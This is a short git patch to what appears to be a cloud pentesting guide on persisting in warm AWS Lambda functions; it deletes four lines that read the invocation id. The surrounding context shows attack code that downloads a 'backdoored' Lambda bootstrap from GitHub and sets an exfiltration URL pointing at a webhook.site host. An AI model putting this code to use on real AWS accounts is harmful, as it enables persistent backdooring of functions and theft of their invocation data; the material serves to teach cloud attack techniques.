From fb3519980e6c2665dd441666990aee35db45f8b5 Mon Sep 17 00:00:00 2001 From: CPol Date: Thu, 29 Feb 2024 14:23:59 +0000 Subject: [PATCH] GITBOOK-590: change request with no subject merged in GitBook --- .../aws-warm-lambda-persistence.md | 4 ---- 1 file changed, 4 deletions(-) diff --git a/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index ab9a48dc1e..591b40023f 100644 --- a/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -59,10 +59,6 @@ http = urllib3.PoolManager() backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py" new_runtime = http.request('GET', backdoored_bootstrap_url).data -# Get invocation id -resp = http.request("GET", "127.0.0.1:9001/2018-06-01/runtime/invocation/next") -invoke_id = resp.headers["Lambda-Runtime-Aws-Request-Id"] - # Load new bootstrap os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"